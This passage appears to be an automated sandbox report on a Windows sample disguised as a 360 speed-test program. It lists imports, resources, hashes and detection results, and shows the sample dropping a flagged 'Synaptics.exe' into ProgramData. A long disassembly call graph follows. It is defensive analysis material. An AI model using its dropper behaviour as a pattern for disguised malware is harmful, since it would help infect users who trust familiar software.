                                                                                                                                                                          RT_RCDATA0x368c240x64cdata
                                                                                                                                                                          RT_RCDATA0x3692700x153Delphi compiled form 'TFormVir'
                                                                                                                                                                          RT_RCDATA0x3693c40x47d3Microsoft Excel 2007+TurkishTurkey
                                                                                                                                                                          RT_GROUP_CURSOR0x36db980x14Lotus unknown worksheet or configuration, revision 0x1
                                                                                                                                                                          RT_GROUP_CURSOR0x36dbac0x14Lotus unknown worksheet or configuration, revision 0x1
                                                                                                                                                                          RT_GROUP_CURSOR0x36dbc00x14Lotus unknown worksheet or configuration, revision 0x1
                                                                                                                                                                          RT_GROUP_CURSOR0x36dbd40x14Lotus unknown worksheet or configuration, revision 0x1
                                                                                                                                                                          RT_GROUP_CURSOR0x36dbe80x14Lotus unknown worksheet or configuration, revision 0x1
                                                                                                                                                                          RT_GROUP_CURSOR0x36dbfc0x14Lotus unknown worksheet or configuration, revision 0x1
                                                                                                                                                                          RT_GROUP_CURSOR0x36dc100x14Lotus unknown worksheet or configuration, revision 0x1
                                                                                                                                                                          RT_GROUP_ICON0x36dc240x14dataTurkishTurkey
                                                                                                                                                                          RT_VERSION0x36dc380x304dataTurkishTurkey

                                                                                                                                                                          Imports

                                                                                                                                                                          DLLImport
                                                                                                                                                                          kernel32.dllDeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, SetCurrentDirectoryA, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetCurrentDirectoryA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, ExitThread, CreateThread, WriteFile, UnhandledExceptionFilter, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetFileType, CreateFileA, CloseHandle
                                                                                                                                                                          user32.dllGetKeyboardType, LoadStringA, MessageBoxA, CharNextA
                                                                                                                                                                          advapi32.dllRegQueryValueExA, RegOpenKeyExA, RegCloseKey
                                                                                                                                                                          oleaut32.dllSysFreeString, SysReAllocStringLen, SysAllocStringLen
                                                                                                                                                                          kernel32.dllTlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
                                                                                                                                                                          advapi32.dllRegSetValueExA, RegQueryValueExA, RegOpenKeyExA, RegNotifyChangeKeyValue, RegFlushKey, RegDeleteValueA, RegCreateKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA, GetUserNameA, AdjustTokenPrivileges
                                                                                                                                                                          kernel32.dlllstrcpyA, WritePrivateProfileStringA, WriteFile, WaitForSingleObject, WaitForMultipleObjects, VirtualQuery, VirtualAlloc, UpdateResourceA, UnmapViewOfFile, TerminateProcess, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetFileAttributesA, SetEvent, SetErrorMode, SetEndOfFile, ResumeThread, ResetEvent, RemoveDirectoryA, ReadFile, OpenProcess, OpenMutexA, MultiByteToWideChar, MulDiv, MoveFileA, MapViewOfFile, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTimeZoneInformation, GetTickCount, GetThreadLocale, GetTempPathA, GetTempFileNameA, GetSystemInfo, GetSystemDirectoryA, GetStringTypeExA, GetStdHandle, GetProcAddress, GetPrivateProfileStringA, GetModuleHandleA, GetModuleFileNameA, GetLogicalDrives, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeThread, GetDriveTypeA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetComputerNameA, GetCPInfo, GetACP, FreeResource, InterlockedIncrement, InterlockedExchange, InterlockedDecrement, FreeLibrary, FormatMessageA, FindResourceA, FindNextFileA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumCalendarInfoA, EnterCriticalSection, EndUpdateResourceA, DeleteFileA, DeleteCriticalSection, CreateThread, CreateProcessA, CreatePipe, CreateMutexA, CreateFileMappingA, CreateFileA, CreateEventA, CreateDirectoryA, CopyFileA, CompareStringA, CloseHandle, BeginUpdateResourceA
                                                                                                                                                                          version.dllVerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
                                                                                                                                                                          gdi32.dllUnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
                                                                                                                                                                          user32.dllCreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, ToAsciiEx, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OffsetRect, OemToCharA, MsgWaitForMultipleObjects, MessageBoxA, MapWindowPoints, MapVirtualKeyExA, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextLengthA, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
                                                                                                                                                                          ole32.dllCLSIDFromString
                                                                                                                                                                          kernel32.dllSleep
                                                                                                                                                                          oleaut32.dllSafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
                                                                                                                                                                          ole32.dllCLSIDFromProgID, CoCreateInstance, CoUninitialize, CoInitialize
                                                                                                                                                                          oleaut32.dllGetErrorInfo, SysFreeString
                                                                                                                                                                          comctl32.dllImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
                                                                                                                                                                          shell32.dllShellExecuteExA, ExtractIconExW
                                                                                                                                                                          wininet.dllInternetGetConnectedState, InternetReadFile, InternetOpenUrlA, InternetOpenA, InternetCloseHandle
                                                                                                                                                                          shell32.dllSHGetSpecialFolderLocation, SHGetPathFromIDListA, SHGetMalloc, SHGetDesktopFolder
                                                                                                                                                                          advapi32.dllOpenSCManagerA, CloseServiceHandle
                                                                                                                                                                          wsock32.dllWSACleanup, WSAStartup, gethostname, gethostbyname, inet_ntoa
                                                                                                                                                                          netapi32.dllNetbios

                                                                                                                                                                          Possible Origin

                                                                                                                                                                          Language of compilation systemCountry where language is spokenMap
                                                                                                                                                                          TurkishTurkey

                                                                                                                                                                          Network Behavior

                                                                                                                                                                          ⊘No network behavior found

                                                                                                                                                                          Statistics

                                                                                                                                                                          CPU Usage

                                                                                                                                                                          Click to jump to process

                                                                                                                                                                          Memory Usage

                                                                                                                                                                          Click to jump to process

                                                                                                                                                                          High Level Behavior Distribution

                                                                                                                                                                          Click to dive into process behavior distribution

                                                                                                                                                                          Behavior

                                                                                                                                                                          Click to jump to process

                                                                                                                                                                          System Behavior

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:0
                                                                                                                                                                          Start time:20:08:04
                                                                                                                                                                          Start date:31/12/2022
                                                                                                                                                                          Path:C:\Users\user\Desktop\360#U6d4b#U901f.exe
                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                          Commandline:C:\Users\user\Desktop\360#U6d4b#U901f.exe
                                                                                                                                                                          Imagebase:0x400000
                                                                                                                                                                          File size:3573760 bytes
                                                                                                                                                                          MD5 hash:F4E6AAC90793C1830E47ADFD445254AE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:Borland Delphi
                                                                                                                                                                          Yara matches:
                                                                                                                                                                          • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000000.288660100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                                                                                                          Reputation:low

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:1
                                                                                                                                                                          Start time:20:08:06
                                                                                                                                                                          Start date:31/12/2022
                                                                                                                                                                          Path:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                          Commandline:"C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe"
                                                                                                                                                                          Imagebase:0x400000
                                                                                                                                                                          File size:2802185 bytes
                                                                                                                                                                          MD5 hash:2DA4AF50967E752FDB5793B2CEBCC847
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Antivirus matches:
                                                                                                                                                                          • Detection: 15%, ReversingLabs
                                                                                                                                                                          Reputation:low

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:2
                                                                                                                                                                          Start time:20:08:08
                                                                                                                                                                          Start date:31/12/2022
                                                                                                                                                                          Path:C:\ProgramData\Synaptics\Synaptics.exe
                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                          Commandline:"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
                                                                                                                                                                          Imagebase:0x400000
                                                                                                                                                                          File size:771584 bytes
                                                                                                                                                                          MD5 hash:9429B447E97A8C5F6DCBF760C3A32F02
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:Borland Delphi
                                                                                                                                                                          Yara matches:
                                                                                                                                                                          • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
                                                                                                                                                                          Antivirus matches:
                                                                                                                                                                          • Detection: 100%, Avira
                                                                                                                                                                          • Detection: 100%, Avira
                                                                                                                                                                          • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                          • Detection: 85%, ReversingLabs
                                                                                                                                                                          Reputation:low

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:3
                                                                                                                                                                          Start time:20:08:10
                                                                                                                                                                          Start date:31/12/2022
                                                                                                                                                                          Path:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                          Commandline:"C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding
                                                                                                                                                                          Imagebase:0xfa0000
                                                                                                                                                                          File size:27110184 bytes
                                                                                                                                                                          MD5 hash:5D6638F2C8F8571C593999C58866007E
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Reputation:high

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:4
                                                                                                                                                                          Start time:20:08:10
                                                                                                                                                                          Start date:31/12/2022
                                                                                                                                                                          Path:C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe
                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                          Commandline:C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe
                                                                                                                                                                          Imagebase:0x1230000
                                                                                                                                                                          File size:1415544 bytes
                                                                                                                                                                          MD5 hash:93E2A4CA6DC7ECBAD3F3A179F796CBFF
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Antivirus matches:
                                                                                                                                                                          • Detection: 0%, ReversingLabs
                                                                                                                                                                          Reputation:low

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:8
                                                                                                                                                                          Start time:20:08:18
                                                                                                                                                                          Start date:31/12/2022
                                                                                                                                                                          Path:C:\ProgramData\Synaptics\Synaptics.exe
                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                          Commandline:"C:\ProgramData\Synaptics\Synaptics.exe"
                                                                                                                                                                          Imagebase:0x400000
                                                                                                                                                                          File size:771584 bytes
                                                                                                                                                                          MD5 hash:9429B447E97A8C5F6DCBF760C3A32F02
                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                          Programmed in:Borland Delphi
                                                                                                                                                                          Reputation:low

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:9
                                                                                                                                                                          Start time:20:08:24
                                                                                                                                                                          Start date:31/12/2022
                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 5680 -s 2880
                                                                                                                                                                          Imagebase:0x860000
                                                                                                                                                                          File size:434592 bytes
                                                                                                                                                                          MD5 hash:9E2B8ACAD48ECCA55C0230D63623661B
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Reputation:high

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:10
                                                                                                                                                                          Start time:20:08:24
                                                                                                                                                                          Start date:31/12/2022
                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 5680 -s 2712
                                                                                                                                                                          Imagebase:0x860000
                                                                                                                                                                          File size:434592 bytes
                                                                                                                                                                          MD5 hash:9E2B8ACAD48ECCA55C0230D63623661B
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Reputation:high

                                                                                                                                                                          Disassembly

                                                                                                                                                                          Reset < >

                                                                                                                                                                            Execution Graph

                                                                                                                                                                            Execution Coverage:5.1%
                                                                                                                                                                            Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                            Signature Coverage:3.3%
                                                                                                                                                                            Total number of Nodes:1784
                                                                                                                                                                            Total number of Limit Nodes:50
                                                                                                                                                                            execution_graph 49115 40d540 49122 40c760 49115->49122 49117 40d552 49118 40d55a timeGetTime 49117->49118 49119 431a7f Sleep 49117->49119 49120 40c760 80 API calls 49118->49120 49121 40d570 49120->49121 49123 40c76c 49122->49123 49124 4297d5 49122->49124 49123->49117 49126 429806 49124->49126 49128 41341b 80 API calls __wcstoi64 49124->49128 49126->49117 49127 429827 49127->49117 49128->49127 49129 401161 49130 4011c1 SetTimer RegisterClipboardFormatW 49129->49130 49131 401175 KillTimer 49129->49131 49132 40110d 49129->49132 49133 401147 49130->49133 49134 4011ee CreatePopupMenu 49130->49134 49137 401000 Shell_NotifyIconW _memset 49131->49137 49136 401188 PostQuitMessage 49137->49136 49138 436b22 49141 436ade GetFileAttributesW 49138->49141 49140 436b2c 49142 436afa FindFirstFileW 49141->49142 49143 436b1d 49141->49143 49144 436b12 FindClose 49142->49144 49145 436b0b 49142->49145 49143->49140 49144->49143 49145->49140 49146 4169e0 49149 41696e TlsGetValue 49146->49149 49150 4169a7 GetModuleHandleW 49149->49150 49151 416986 49149->49151 49153 4169c2 GetProcAddress 49150->49153 49154 4169b7 49150->49154 49151->49150 49152 416990 TlsGetValue 49151->49152 49159 41699b 49152->49159 49155 41699f 49153->49155 49161 41177f Sleep GetModuleHandleW 49154->49161 49157 4169d2 RtlEncodePointer 49155->49157 49158 4169da 49155->49158 49157->49158 49159->49150 49159->49155 49160 4169bd 49160->49153 49160->49158 49161->49160 49162 436ac4 GetFileAttributesW 49163 436ad4 49162->49163 49164 401108 49165 401130 49164->49165 49166 40110d 49164->49166 49167 401147 49165->49167 49169 401230 49165->49169 49170 4012c5 49169->49170 49171 401241 _memset 49169->49171 49170->49167 49184 401e70 49171->49184 49173 40126b 49174 4012ae KillTimer SetTimer 49173->49174 49175 42aa61 49173->49175 49176 401298 49173->49176 49174->49170 49179 42aa8b Shell_NotifyIconW 49175->49179 49180 42aa69 Shell_NotifyIconW 49175->49180 49177 4012a2 49176->49177 49178 42aaac 49176->49178 49177->49174 49181 42aaf8 Shell_NotifyIconW 49177->49181 49182 42aad7 Shell_NotifyIconW 49178->49182 49183 42aab5 Shell_NotifyIconW 49178->49183 49179->49174 49180->49174 49181->49174 49182->49174 49183->49174 49185 401e8b 49184->49185 49205 401f6e 49184->49205 49206 401400 77 API calls 49185->49206 49187 401e9b 49188 42a9a0 LoadStringW 49187->49188 49189 401ea8 49187->49189 49191 42a9bb 49188->49191 49207 4021e0 49189->49207 49220 40df50 77 API calls 49191->49220 49192 401ebd 49194 401eca 49192->49194 49195 42a9cd 49192->49195 49194->49191 49197 401ed4 49194->49197 49221 40d330 77 API calls 2 library calls 49195->49221 49196 401ee3 _memset _wcscpy _wcsncpy 49204 401f52 Shell_NotifyIconW 49196->49204 49219 40d330 77 API calls 2 library calls 49197->49219 49200 42a9dc 49200->49196 49201 42a9f0 49200->49201 49222 40d330 77 API calls 2 library calls 49201->49222 49203 42a9fe 49204->49205 49205->49173 49206->49187 49208 42a598 49207->49208 49210 4021f1 _wcslen 49207->49210 49237 40c740 49208->49237 49212 402205 49210->49212 49213 402226 49210->49213 49211 42a5a2 49223 404020 77 API calls ctype 49212->49223 49224 4013e0 77 API calls 49213->49224 49216 40222d 49216->49211 49225 41171a 49216->49225 49217 40220c _memcpy_s 49217->49192 49219->49196 49220->49196 49221->49200 49222->49203 49223->49217 49224->49216 49227 411724 49225->49227 49228 41173e 49227->49228 49231 411740 std::bad_alloc::bad_alloc 49227->49231 49242 4138ba 49227->49242 49260 411afc 7 API calls __decode_pointer 49227->49260 49228->49217 49235 411766 49231->49235 49261 411421 49231->49261 49232 411770 49265 41805b RaiseException 49232->49265 49264 4116fd 69 API calls std::exception::exception 49235->49264 49236 41177e 49238 40c752 49237->49238 49239 40c747 49237->49239 49238->49211 49239->49238 49391 402ae0 49239->49391 49241 42a572 _memcpy_s 49241->49211 49243 41396d 49242->49243 49253 4138cc 49242->49253 49273 411afc 7 API calls __decode_pointer 49243->49273 49245 413973 49274 417f23 69 API calls __getptd_noexit 49245->49274 49250 413929 RtlAllocateHeap 49250->49253 49251 4138dd 49251->49253 49266 418252 69 API calls 2 library calls 49251->49266 49267 4180a7 69 API calls 7 library calls 49251->49267 49268 411803 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 49251->49268 49253->49250 49253->49251 49254 413959 49253->49254 49257 41395e 49253->49257 49259 413965 49253->49259 49269 41386b 69 API calls 4 library calls 49253->49269 49270 411afc 7 API calls __decode_pointer 49253->49270 49271 417f23 69 API calls __getptd_noexit 49254->49271 49272 417f23 69 API calls __getptd_noexit 49257->49272 49259->49227 49260->49227 49275 4113e5 49261->49275 49263 41142e 49263->49235 49264->49232 49265->49236 49266->49251 49267->49251 49269->49253 49270->49253 49271->49257 49272->49259 49273->49245 49274->49259 49276 4113f1 __wfsopen 49275->49276 49283 41181b 49276->49283 49282 411412 __wfsopen 49282->49263 49309 418407 49283->49309 49285 4113f6 49286 4112fa 49285->49286 49371 4169e9 TlsGetValue 49286->49371 49289 4169e9 __decode_pointer 7 API calls 49290 41131e 49289->49290 49301 4113a1 49290->49301 49383 4170e7 70 API calls 5 library calls 49290->49383 49292 41696e __encode_pointer 7 API calls 49294 411396 49292->49294 49293 41133c 49295 411357 49293->49295 49296 411366 49293->49296 49305 411388 49293->49305 49299 41696e __encode_pointer 7 API calls 49294->49299 49384 417047 75 API calls _realloc 49295->49384 49298 411360 49296->49298 49296->49301 49298->49296 49302 41137c 49298->49302 49385 417047 75 API calls _realloc 49298->49385 49299->49301 49306 41141b 49301->49306 49304 41696e __encode_pointer 7 API calls 49302->49304 49303 411376 49303->49301 49303->49302 49304->49305 49305->49292 49387 411824 49306->49387 49310 41841c 49309->49310 49311 41842f RtlEnterCriticalSection 49309->49311 49316 418344 49310->49316 49311->49285 49313 418422 49313->49311 49344 4117af 69 API calls 3 library calls 49313->49344 49315 41842e 49315->49311 49317 418350 __wfsopen 49316->49317 49318 418360 49317->49318 49319 418378 49317->49319 49345 418252 69 API calls 2 library calls 49318->49345 49325 418386 __wfsopen 49319->49325 49348 416fb6 49319->49348 49321 418365 49346 4180a7 69 API calls 7 library calls 49321->49346 49325->49313 49326 41836c 49347 411803 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 49326->49347 49327 4183a7 49330 418407 __lock 69 API calls 49327->49330 49328 418398 49354 417f23 69 API calls __getptd_noexit 49328->49354 49332 4183ae 49330->49332 49334 4183e2 49332->49334 49335 4183b6 49332->49335 49337 413a88 __woutput_l 69 API calls 49334->49337 49355 4189e6 InitializeCriticalSectionAndSpinCount __wfsopen 49335->49355 49338 4183d3 49337->49338 49370 4183fe RtlLeaveCriticalSection _doexit 49338->49370 49339 4183c1 49339->49338 49356 413a88 49339->49356 49342 4183cd 49369 417f23 69 API calls __getptd_noexit 49342->49369 49344->49315 49345->49321 49346->49326 49350 416fbf 49348->49350 49349 4138ba _malloc 68 API calls 49349->49350 49350->49349 49351 416ff5 49350->49351 49352 416fd6 Sleep 49350->49352 49351->49327 49351->49328 49353 416feb 49352->49353 49353->49350 49353->49351 49354->49325 49355->49339 49358 413a94 __wfsopen 49356->49358 49357 413b0d __wfsopen __dosmaperr 49357->49342 49358->49357 49360 418407 __lock 67 API calls 49358->49360 49368 413ad3 49358->49368 49359 413ae8 RtlFreeHeap 49359->49357 49361 413afa 49359->49361 49365 413aab ___sbh_find_block 49360->49365 49362 417f23 __free_osfhnd 67 API calls 49361->49362 49363 413aff GetLastError 49362->49363 49363->49357 49364 413ac5 49366 413ade __woutput_l RtlLeaveCriticalSection 49364->49366 49365->49364 49367 419f9d ___sbh_free_block __VEC_memcpy VirtualFree VirtualFree HeapFree 49365->49367 49366->49368 49367->49364 49368->49357 49368->49359 49369->49338 49370->49325 49372 416a01 49371->49372 49373 416a22 GetModuleHandleW 49371->49373 49372->49373 49376 416a0b TlsGetValue 49372->49376 49374 416a32 49373->49374 49375 416a3d GetProcAddress 49373->49375 49386 41177f Sleep GetModuleHandleW 49374->49386 49378 416a1a 49375->49378 49379 416a16 49376->49379 49381 41130e 49378->49381 49382 416a4d RtlDecodePointer 49378->49382 49379->49373 49379->49378 49380 416a38 49380->49375 49380->49381 49381->49289 49382->49381 49383->49293 49384->49298 49385->49303 49386->49380 49390 41832d RtlLeaveCriticalSection 49387->49390 49389 411420 49389->49282 49390->49389 49392 42a06a 49391->49392 49393 402aef 49391->49393 49398 4013e0 77 API calls 49392->49398 49393->49241 49395 42a072 49396 41171a 77 API calls 49395->49396 49397 42a095 _memcpy_s 49396->49397 49397->49241 49398->49395 49399 40916c 49401 409170 49399->49401 49402 42c082 49401->49402 49404 4091fb 49401->49404 49405 42c06f 49401->49405 49410 4091f0 49401->49410 49411 40be00 49401->49411 49417 4092c0 49401->49417 49403 4092c0 VariantClear 49402->49403 49407 409204 49403->49407 49406 4092c0 VariantClear 49404->49406 49421 45e62e 112 API calls 3 library calls 49405->49421 49406->49407 49413 40be36 49411->49413 49416 40be08 _memcpy_s ctype 49411->49416 49412 41171a 77 API calls 49415 40be0f 49412->49415 49414 41171a 77 API calls 49413->49414 49414->49416 49415->49401 49416->49412 49418 4092c8 ctype 49417->49418 49419 429db0 VariantClear 49418->49419 49420 4092d5 ctype 49418->49420 49419->49420 49420->49401 49421->49402 49422 4291ce 49427 40c8f0 49422->49427 49425 411421 __cinit 76 API calls 49426 4291dd 49425->49426 49461 40dc70 49427->49461 49434 40c060 77 API calls 49435 40c972 49434->49435 49436 40c060 77 API calls 49435->49436 49437 40c97c 49436->49437 49438 40c060 77 API calls 49437->49438 49439 40c9c2 49438->49439 49440 40c060 77 API calls 49439->49440 49441 40ca87 49440->49441 49474 40d450 49441->49474 49445 40cab7 49446 40c060 77 API calls 49445->49446 49447 40cac1 49446->49447 49503 40e420 49447->49503 49449 40cb1f 49450 4092c0 VariantClear 49449->49450 49451 40cb28 49450->49451 49452 4092c0 VariantClear 49451->49452 49453 40cb31 GetStdHandle 49452->49453 49454 42cd66 49453->49454 49455 40cb85 49453->49455 49454->49455 49456 42cd6f 49454->49456 49455->49425 49510 4437fa 82 API calls 49456->49510 49458 42cd77 49511 44b6bc CreateThread 49458->49511 49460 42cd85 CloseHandle 49460->49455 49512 40dc50 49461->49512 49464 4021e0 77 API calls 49465 40c92d 49464->49465 49466 410900 49465->49466 49526 410940 6 API calls 49466->49526 49468 40c95e 49469 40c060 49468->49469 49470 41171a 77 API calls 49469->49470 49471 40c088 49470->49471 49472 41171a 77 API calls 49471->49472 49473 40c096 49472->49473 49473->49434 49475 40c060 77 API calls 49474->49475 49476 40d45e 49475->49476 49477 40c060 77 API calls 49476->49477 49478 40d466 49477->49478 49527 40d4c0 49478->49527 49481 40d4c0 77 API calls 49482 40d476 49481->49482 49483 40c060 77 API calls 49482->49483 49484 40d481 49483->49484 49485 41171a 77 API calls 49484->49485 49486 40ca91 49485->49486 49487 40d350 49486->49487 49488 40d35f 49487->49488 49489 40c060 77 API calls 49488->49489 49490 40d36a 49489->49490 49491 40c060 77 API calls 49490->49491 49492 40d375 49491->49492 49493 40c060 77 API calls 49492->49493 49494 40d380 49493->49494 49495 40c060 77 API calls 49494->49495 49496 40d38b 49495->49496 49497 40d4c0 77 API calls 49496->49497 49498 40d396 49497->49498 49499 41171a 77 API calls 49498->49499 49500 40d39d 49499->49500 49501 40d3a9 RegisterClipboardFormatW 49500->49501 49502 42a05c 49500->49502 49501->49445 49504 42c095 49503->49504 49505 40e42d 49503->49505 49537 4721e5 VariantClear 49504->49537 49507 41171a 77 API calls 49505->49507 49509 40e435 49507->49509 49508 42c09f 49508->49449 49509->49449 49510->49458 49511->49460 49519 40d1c0 49512->49519 49515 40d1c0 77 API calls 49516 40dc60 49515->49516 49517 40c060 77 API calls 49516->49517 49518 40dc68 49517->49518 49518->49464 49520 40c060 77 API calls 49519->49520 49521 